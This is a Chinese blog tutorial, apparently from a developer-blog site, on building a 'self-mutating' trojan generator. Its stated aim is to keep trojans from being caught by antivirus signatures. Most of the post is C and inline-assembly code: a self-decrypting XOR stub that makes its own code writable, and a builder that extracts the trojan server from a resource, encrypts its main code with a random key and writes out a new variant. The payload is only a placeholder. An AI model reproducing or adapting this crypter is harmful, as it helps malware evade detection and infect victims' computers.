实现生成木马的自动变异

实战解析:基于工具链自动化修复VMP3.5壳的变异IAT 本文深入解析了如何利用工具链自动化修复VMP3.5壳的变异IAT,详细介绍了核心挑战、工具选型、动态分析工作流及自动化修复实战。通过x32dbg、vmp3-import-fix-x86等工具的组合使用,有效应对跳板指令碎片化、动态地址偏移等复杂问题,提升修复效率与准确性。 阅读详情
实现生成木马的自动变异收藏在现在这个杀毒软件横行的时代。木马在发布没几天,就会被各大杀毒软件盯上,然后小黑们就只能无奈的做着免杀,加花指令、加壳、改特征码,忙得半死,终于免杀了,可没用多久,又被杀了。这种情况我以前也常常遇到。那么我们能不能做到每次生成的木马都不一样呢,这样给杀毒软件定位特征码就带来了一定的难度,延长了木马的生存时间。今天我们就来实现这一功能。我们大家都知道木马服务端一般是先编写完成,然后以资源的形式导入到客户端,使用时再由客户端生成。既然服务端是事先写好的,那么要实现每次生成都产生不同的代码,唯一的方法就是加密,每次都用不同的密钥对代码进行加密,但是加密后的代码在内存中是不能运行的,所以运行加密代码之前就一定要解密。具体过程如(图1)从图中可以看出,首先由客户端生成服务端,在生成的过程中对其主体代码进行加密(用随机密钥),由于在服务端中有解密代码,而图中服务端程序是从下往上执行的,所以运行程序后首先执行解密代码,对主体代码进行解密,解密完成后再去执行木马主体代码。整个流程就如上所诉。下面我们来一步一步实现上面的想法。首先是木马主体代码的编写,由于这不是本文的重点,所以就用一段枚举进程的函数来代替,这里不再讨论,具体代码包含在光盘中,已加了具体注释。下面我们就来实现解密部分,这里我们用的加解密算法是抑或,抑或一次是加密,抑或两次是解密,比如97和61抑或一次的结果是92,这是加密的过程;再把 92和61抑或之后的结果97,这就是解密的过程。在这个加解密过程中的密钥就是61。当然你也可以用更强悍的加解密算法。在内存中要实现解密,那么我们还需要知道主体代码的起始位置和大小,然后一个字节一个字节进行解密,这里我用汇编来实现,用汇编实现这个过程个人觉得比较方便,代码如下: //得到MainCode函数地址 lea esi,MainCode; mov MainCodeAddr,esi; //得到Decoded函数地址 lea eax,Decoded; //计算MainCode函数的大小 sub eax,esi; mov SizeOfCode,eax;在上面代码中Decoded函数就是解密函数,而MainCode函数就是木马的主体代码,从图1中可以看出且MainCode函数就在解密函数上面,那么两个函数的起始地址相减,就得到了MainCode函数的大小。得到了这些信息后,我们就要对主体代码进行一个字节一个字节的解密了。这里用一个循环结构来实现: decode: //抑或解密,BL中的存的是密钥 xor byte ptr[esi],BL; inc esi; dec eax; jne decode;到这里也许你会觉得一切都完成了,但是我们还有一步忘做了,由于我们现在修改的是内存中代码段的数据,而这些内存页是不可写的,那么我们在进行这些内存操 作之前还必须要改变内存页保护属性,所幸比较简单,只需要调用VirtualProtectEx函数即可。下面我们来看看完整的解密代码吧: DWORD SizeOfCode,MianCodeAddr,DecodedAddr; int Decoded() { //密钥,做密钥时取第一个字节 char MyCode[255]="AAAAAAAAAAAAAAAAAAAAAAAAA"; DWORD oldProtect; //得到自身进程句柄 HANDLE hProcess=GetCurrentProcess(); //改变内存页属性为可读写,由于这里不知道主体代码的大小所以设大点,0x1000 VirtualProtectEx(hProcess,&MianCode,0x1000,PAGE_READWRITE,&oldProtect); __asm { pushad; //得到MainCode函数地址 lea esi,MianCode; mov MianCodeAddr,esi; //得到Decoded函数地址 lea eax,Decoded; mov DecodedAddr,eax; //计算MainCode函数的大小 sub eax,esi; mov SizeOfCode,eax; xor BL,BL; mov BL,MyCode[0]; //解密 decode: xor byte ptr[esi],BL; inc esi; dec eax; jne decode; popad; } return 0; }上面代码中的MyCode变量中存的那么多字符中只有MyCode[0]中的字符是做为密钥的,那么怎么实现密钥的随机性呢,这个要靠客户端实现,在客户端中我们要用搜索的方式,找到服务端中MyCode变量中一连串A的位置,并把第一字符改为加密的密钥,而产生这个加密的密钥是随机的,那么当服务端中把 MyCode[0]作为密钥的时,读到的正是我们改成随机密钥的这个值。这样就实现了密钥的随机性,具体过程会在客户端实现中讲到。这样之后我们还需要在主函数里调用Decoded()函数,然后调用printf函数输出SizeOfCode(主体代码长度)、 MianCodeAddr(主体代码函数的起始地址)这两个变量的值,因为在客户端对服务端主体代码加密的过程中要用到这两个值,执行效果如(图2):得到这两个值后,删除掉主函数中输出部分代码,并且添加上对MianCode函数的调用,具体代码如下: int main(int argc, char* argv[]) { //解密代码 Decoded(); //主体代码 MainCode(); getchar(); return 0; }这时候运行这个程序会报错如(图3)所示:这是因为主体代码并没用经过加密,从抑或算法的特点可知,在内存中对没有加密的代码解密的结果就相当与对其进行了加密,加密后的代码运行当然会报错。服务端到这里就写完了,那么下面我们就来实现客户端的编写,客户端的主体功能就是对服务端的主体代码进行加密。这里服务端我们要以资源的形式包含在客户端中。先建立的一个mfc工程,如图4所示:为了方便可以直接修改工程目录下.rc和Resource.h文件把服务端以资源的形式导入,在.rc文件下添加命令如下:ID_MAGICDEL_EXE C_BINARYTYPE ma.exema.exe表示服务端的文件名,要放在工程目录下。在Resource.h文件下添加如下命令: #define ID_MAGICDEL_EXE 100 #define RC_BINARYTYPE 911编译后,ma.exe就会以资源的形式包含在工程中,我们就可以调用资源处理的API函数对其进行处理了。首先我们要把资源文件写入到一个内存空间当中,对内存中的数据进行操作,总比对文件进行操作来得快和方便。具体代码如下: //查找木马资源 HRSRChrsrc = FindResource(NULL, MAKEINTRESOURCE(ID_MAGICDEL_EXE), MAKEINTRESOURCE(RC_BINARYTYPE)); //导入资源到存储器 HGLOBAL hglobal = LoadResource(NULL, hrsrc); //锁定资源 void *psrc = LockResource(hglobal); //得到资源大小 DWORD size = SizeofResource(NULL, hrsrc); //申请内存空间 char *hmem=(char *)malloc(size+1); DWORD nsize; //把资源写入内存 WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID *)psrc,size,&nsize);这样我们就把资源文件写入到我们指定得内存空间了,hmem变量就是指向这个内存空间的起始位置的指针,也就是指向了服务端文件开始的位置,那么下面我们就要定位到主体代码的位置。还记得前面我们得到的MianCodeAddr(主体代码函数的起始地址)变量的值吗?现在我们就要用到它了,图2中显示的值是401000h,由于这是在内存中的偏移地址,因此还加上了基址400000h,那么401000h-400000h就是文件中主体代码的偏移地址: 1000h。得到了这个偏移地址后,要定位到此时的主体代码位置也就容易多了,只要用hmem变量指向的内存空间的地址加上1000h就是主体代码的起始位置了。这个问题解决之后,加密过程其实和解密过程是差不多的,因为都是用抑或算法实现的。那么还剩下的问题就是怎么生成随机密钥,这里我把它写成了一个函数,如下: //生成一个随机字符(密钥) char AutorChar() { char a[16] ={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'}; int i; //播下随机数发生器种子 srand((unsigned)time(NULL)); //得到随机数 i = rand(); //循环减去16,直到随机数不大于15 while(i>15) { i-=16; } //返回随机字符 return a[i]; }这样每次调用这个函数都会生成一个随机的字符作为密钥。当然我们还需要把MyCode变量中一连串A的第一个字符改成我们的随机密钥,我们用内存搜索的方式来定位这一连串A,然后把第一个字符改成随机密钥。搜索修改函数如下: //搜索内存中的信息,并将其修改 //hmen要查找的起始地址,len要查找的内存大小,from要查找的字符指针,to要修改成的内容 bool ModifyMem(char *hmem,int len,char *from,char *to) { char charf[100],chart[100],*charg; bool result=false; strcpy(charf,from); strcpy(chart,to); for(int i=0;i<len;i++) { charg=(char *)&hmem[i]; //比较找到的字符和要查找的字符 if(strcmp(charg,charf)==0) { // 找到后修改内存中的字符 if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart,strlen(chart)+1,NULL)) result=true; break; } } return result; }所有的这些操作完成后,就可以把这个内存空间中的数据写入到文件中了,这样就生成了随机加密后的木马程序,实现了生成木马的自动变异,下面给出客户端主体部分代码: void CodeFile(char *FileName) { //查找木马资源 HRSRC hrsrc = FindResource(NULL, MAKEINTRESOURCE(ID_MAGICDEL_EXE), MAKEINTRESOURCE(RC_BINARYTYPE)); //导入资源到存储器 HGLOBAL hglobal = LoadResource(NULL, hrsrc); //锁定资源 void *psrc = LockResource(hglobal); //得到资源大小 DWORD size = SizeofResource(NULL, hrsrc); //申请内存空间 char *hmem=(char *)malloc(size+1); DWORD nsize; //把资源写入内存 WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID *)psrc,size,&nsize); //要查找的一连串A char from[255]="AAAAAAAAAAAAAAAAAAAAAAAAA"; char to[255]={0}; //得到随机加密口令 to[0]=AutorChar(); __asm { pushad; //得到资源在内存中的启示地址 mov esi,hmem; //定位到要加密的代码地址 add esi,0x1000; //把要的代码大小赋给eax,上面得到的SizeOfCode(主体代码长度)的值就 //用于此 mov eax,0xd0; xor BL,BL; //把密钥给BL mov BL,to[0]; //抑或加密 code: xor byte ptr[esi],BL; inc esi; dec eax; jne code; } //修改原始加密口令 if(!ModifyMem(hmem,size,from,to)) { ::MessageBox(NULL,"写入加密口令错误","错误",NULL); return; } //创建文件 HANDLE hFile = CreateFile(FileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); DWORD cbWritten; //把内存中的资源写入文件 WriteFile(hFile, hmem, size, &cbWritten, 0); CloseHandle(hFile); ::GlobalFree(psrc); free(hmem); }我们只需要在生成按钮的单击事件中添加对CodeFile函数的调用即可。编译后,用客户端生成服务端,发现运行正常,如(图5)
360木马专杀工具:便携高效的网络安全解决方案 360木马专杀工具是一款由360安全中心推出的专业级防病毒软件,专为发现和清除各类木马病毒而设计。它具备高效、轻量级的特点,能够快速扫描系统文件和进程,精准识别并隔离潜在威胁,提供全面的保护措施。该工具主要功能包括深度扫描木马病毒、快速识别新木马变种、实时保护系统免受攻击,以及在检测到风险时,进行文件隔离与恢复等。它通过综合运用静态分析、动态检测、云安全技术以及实时监控等多种先进技术手段,确保计算机系统的安全运行。 阅读详情

相关推荐

【后端】主流后端语言:JAVA、C、C++、GO、PYTHON

软件开发领域,语言本身在各自领域都有适用场景,有许多流行的编程语言可供选择,每种语言都有其独特的特点和适用场景。

wnm23的专栏 1万+

工业级SoC硬件木马检测的创新方法与挑战

硬件木马(Hardware Trojans, HTs)是集成电路设计中的重大安全威胁,通过精心设计的触发机制和有效载荷在特定条件下激活,可能导致数据泄露或系统崩溃。检测这些恶意电路面临极低活动概率和隐蔽布局等挑战。传统方法如形式化验证和侧信道分析在大规模SoC设计中存在局限性。新兴的基于图学习的检测技术(如GNN4TJ、HW2VEC)虽无需参考模型,但面临存储压力与长程依赖建模困难。本文探讨了自动化硬件木马插入方法,结合SCOAP测试性指标和LLM生成的多样化触发模式,为工业级设计提供高效检测方案。

weixin_29176179的博客 271

Pytorch的一小步,昇腾芯片的一大步

相信在AI圈的人多多少少都看到了最近的信息:PyTorch最新2.1版本宣布支持华为昇腾芯片!

机器学习-深度学习-图像处理-opencv-段子 5241

MSF生成木马及木马的简单使用

本文将介绍有关MSF木马模块的简单使用方式,介绍常见的几种木马生成方式,如有不对的地方,欢迎大家在评论区指正。由于本文仅对部分模块的简单使用进行说明,更多信息请参考官方网址MSFVENOM环境配置说明1. 使用kali虚拟机和Win7(可以低于此版本)虚拟机2. kali虚拟机建议使用最新版本并将系统软件更新至最新版本3. Win7虚拟机务必关闭网络防火墙,不建议使用Win7及以上版本系统,简单的木马会被直接删除4. 查看两台虚拟机的IP地址,确保两台虚拟机之间可以ping通。

爱喝水的仙人树的博客 1万+

nRF52811墨水屏时钟DIY:从全刷到局刷的实战改造指南(附完整代码)

本文详细介绍了如何将基于nRF52811的墨水屏时钟从耗电的全屏刷新模式改造为高效的局部刷新模式。通过剖析全刷与局刷的原理差异,提供了从工程架构、驱动层适配到应用层逻辑重构的完整实战指南,并附上关键代码示例。改造后,设备功耗显著降低,续航大幅提升,同时解决了视觉闪烁问题,是DIY低功耗墨水屏应用的实用参考。

weixin_29194693的博客 355

从ET到PT阶段:一文详解汽车零部件DV与PV测试的完整流程(含常见问题解析)

本文深入解析汽车零部件开发中的DV(设计验证)与PV(性能验证)测试全流程,涵盖从ET到PT阶段的关键技术要点与常见问题解决方案。针对车载开发工程师,提供实战指南与优化策略,帮助提升零部件质量与生产效率,确保符合行业标准与市场需求。

weixin_29273849的博客 786

记一次阿里云木马排查过程

问题描述 接到阿里云报警邮件,说是一台ECS有恶意进程。查看阿里云的安全详情,发现如下情况: 登录到服务器上检查/bin目录,发现该文件确实不对,大小变成的1.1M,类似的还有netstat。如下图: 正常ubuntu系统下的ps才96K,netstat大小为117K,上述命令文件被恶意窜改了。此外,还发现启动脚本(/etc/rc1.d, /etc/rc2.d, /etc/rc3.d, /et...

dreamer2020的专栏 4726

libfacedetection 框架阅读及扩展经验

libfacedetection 框架源码解析与扩展心得1. libfacedetection 框架简介2. 源码解析2.1 facedetectcnn.h2.2 facedetectcnn.cpp2.3 facedetectcnn-model.cpp3. 其他层的扩展--depthwise convolution 前段时间因为工作需要,对libfacedetection框架做了些扩展,在阅读源...

weixin_42616332的博客 1500

分析Android银行木马GM Bot的变异过程

导语:2016年2月19日,IBM XForce的研究员发布了一个情报报告,这份报告声称GM BOT的源代码在2015年12月被泄漏到了一个恶意软件论坛上。GM BOT是一个复杂的安卓恶意软件家族,它出现在2014年末俄语地区的网络犯罪地下组织。 2016年2月19日,IBM XForce的研究员发布了一个情报报告,这份报告声称GM BOT的源代码在2015年12月被泄漏到了一个恶意软件论坛

omnispace的博客 1187

【StreamSet】ETL之StreamSet之Pipelines的状态监听之WebHook钉钉篇

介绍下StreamSets的状态监听以及钉钉的webhook的互联,这位博友问的恰是时候,不久前我刚刚对接过钉钉的机器人,这次看到这个问题,对我来说,应该轻车熟路了,那就有了这篇博文,状态监听之钉钉篇。...

m0_54252387的博客 488

3D扩散模型的构建与优化:多模态融合在三维物体生成中的作用【附核心代码实例】

随着技术的发展,基于扩散模型的3D内容生成已经成为一个激动人心的领域。通过不断优化扩散模型的结构和算法,结合多模态信息、视角控制和高效网络架构,未来的3D生成技术将不仅能够生成逼真的物体,还能满足虚拟现实、游戏设计、电影制作等行业对高质量、实时生成的需求。

一键难忘的博客 2863

【木马】流行木马列表

NRD系列网游窃贼 类型:盗号木马 危害:通过各种木马下载器进入用户电脑,利用键盘钩子等技术盗取地下城与勇士、魔兽世界、传奇世界等多款热门网游的账号和密码信息,还能够对受害用户的电脑屏幕截图、窃取用户存储在电脑上的图片文档和文本文档,以此破解游戏密保卡,并在后台将这些敏感信息发送到指定的服务器或邮箱中。 360安全卫士全年累计查杀量:152509102 二、“犇牛”下载器

Walter的专栏 1485

SAP物料主数据中的销售视图。这是一个在销售与分销模块中至关重要的核心主数据,直接关系到从报价到交货的整个销售流程

SAP物料主数据的销售视图是销售流程的核心基础,它定义了物料如何被销售、定价、开票和交付。销售视图包含五个关键控制点:1)基本销售数据控制物料销售状态;2)销售组织数据决定销售渠道和产品分类;3)通用物料数据管理销售描述和税务分类;4)交货计划控制交付参数;5)开票计划管理定价规则。这些设置直接影响销售流程顺畅度、数据准确性、客户满意度、财务合规性和业务灵活性。建议将销售视图创建纳入新产品引入流程,并建立规范的维护机制,确保业务变化时及时更新配置。

金牌架构师 666

转贴] 2009新年第一高危木马病毒现身网络

 2009新年第一高危木马病毒现身网络from: http://safe.youkuaiyun.com/n/20090104/275.html 2009年新年伊始,网络安全形势就异常严峻。一款名为“母马下载器”的恶性木马病毒,凭借其超强的“穿透还原”“超快更新变异”“反杀”能力,顺利摆脱了诸多安全软件的剿杀,正在大面积侵袭网民电脑。 据360安全专家石晓虹博士介绍,近一周来,“母马下载器”

IBM_lover的专栏 730

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

php 木马文件,PHP实现webshell扫描文件木马的方法

本文实例讲述了PHP实现webshell扫描文件木马的方法。分享给大家供大家参考,具体如下:可扫描 weevelyshell 生成 或加密的shell 及各种变异webshell目前仅支持php支持扫描 weevelyshell 生成 或加密的shell支持扫描callback一句话shell支持各种php大马PHP web shell scandefine("SELF",php_self());...

weixin_29323049的博客 365

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

php 木马文件,PHP webshell扫描木马文件的实现方法

本文主要介绍PHP实现webshell扫描文件木马的方法,涉及php针对数值传输的过滤操作与文件识别等相关安全操作技巧,需要的朋友可以参考下,希望能帮助到大家。可扫描 weevelyshell 生成 或加密的shell 及各种变异webshell目前仅支持php支持扫描 weevelyshell 生成 或加密的shell支持扫描callback一句话shell支持各种php大马PHP web sh...

weixin_30986079的博客 677

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

2023年银行木马肆虐全球金融系统

根据2023年度移动安全报告显示,除了2023年新出现的10个安卓银行木马外,2022年流行的19个安卓银行木马在2023年也发生了“变异”,增加了新的功能并提高了操作复杂性。报告指出,2023年银行木马给金融企业造成的经济损失和运营成本持续增加,同时导致消费者信任度和品牌影响力下降。金融机构应该采取主动和自适应安全方法应对不断增长的威胁。2023年,Hook、Godfather和Teabot等银行木马恶意软件家族盛行,攻击了985个银行和数字金融交易程序。银行木马的八个关键趋势。

互联网安全研究院 784

病毒變異實驗:惡意程式的「進化」速度有多快?

在生物學領域,病毒以其驚人的變異速度聞名,尤其是RNA病毒如流感病毒和HIV,它們的突變率比人類基因組高出數百萬倍,使得免疫系統和疫苗開發面臨巨大挑戰。有趣的是,在數位世界中,我們也觀察到類似現象:惡意程式(malware)正以驚人的速度「進化」與「變異」,不斷適應防禦系統,突破安全邊界。

王同学的博客 606

dede最新漏洞以及黑客木马特征

dede最新漏洞以及黑客木马特征时间:2013-08-04 12:48来源:疯子工作室 作者:疯子 点击: 次据疯子工作室统计,截止到今天,依旧有大约3万个使用dedecms管理系统程序开发的网站被黑客挂马。   Dedecms后台系统程序升级到5.7 sp1版本之后,依旧存在很多漏洞。具体的情况,也是在最近一段时间彻底暴漏出来。据疯子工作室统计,截止到今天,依旧有大约3万个使用dedecms管理

IT技术宅-北方的刀郎 1274

2026顶级攻防实录:AI自主猎杀终端!传统杀毒彻底失效的真相

《AI无痕攻击时代:传统杀毒失效与零信任防御新范式》摘要:2026年,AI自动化攻击颠覆传统网络攻防格局。某科技公司遭遇典型AI无文件攻击:杀毒软件全程无警报,6.8万条数据却遭窃。攻击者利用AI生成高度定制化钓鱼内容,通过内存驻留脚本实现零痕迹入侵,并实时变异绕过所有防护。传统安全三大缺陷暴露:特征库滞后于AI动态变异、忽视内存攻击面、默认信任机制被利用。破局关键在于零信任架构,通过网页内存行为监测、进程行为分析、网络最小权限控制三重防线,实现动态持续验证。当前网络安全的本质已转变

wang_an12的博客 795

关于木马免杀的一些方法

关于木马免杀的一些方法

oiadkt的博客 1644

硬件勒索软件:PUF与ECDH在ASIC木马中的武器化应用与防御

在硬件安全领域,物理不可克隆函数(PUF)和椭圆曲线密码学(ECC)是构建可信硬件和实现安全密钥交换的基础技术。PUF利用芯片制造过程中的物理随机性生成唯一“指纹”,常用于设备认证和密钥生成。椭圆曲线迪菲-赫尔曼(ECDH)协议则基于椭圆曲线离散对数问题的计算困难性,为双方在不安全信道上建立共享密钥提供了高效、高强度的密码学保障。这些技术的核心价值在于为物联网、数据中心和关键基础设施提供了硬件级的信任根和安全通信能力。然而,当攻击者将PUF的物理唯一性与ECDH的强加密特性相结合,便能设计出深度隐蔽、难以移

weixin_34056162的博客 346

变装大师的进化:从传统多态恶意软件到 AI 驱动的代码幻影

摘要:多态恶意软件通过变异引擎不断改变特征码以躲避检测,其历史可追溯至1989年。随着AI技术的爆发,这类恶意软件迎来新变革:编写门槛降低、实现动态运行时变异。防御策略转向"全行为溯源",利用AI代码审计、行为监测和智能沙箱等技术对抗。AI时代下,网络安全防护必须从静态特征匹配升级为基于行为分析的动态防御体系,这已成为数字生存的基本要求。(149字)

u012045365的博客 886
上一篇: 代理上网相关代码
下一篇: 实现生成木马的自动变异
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值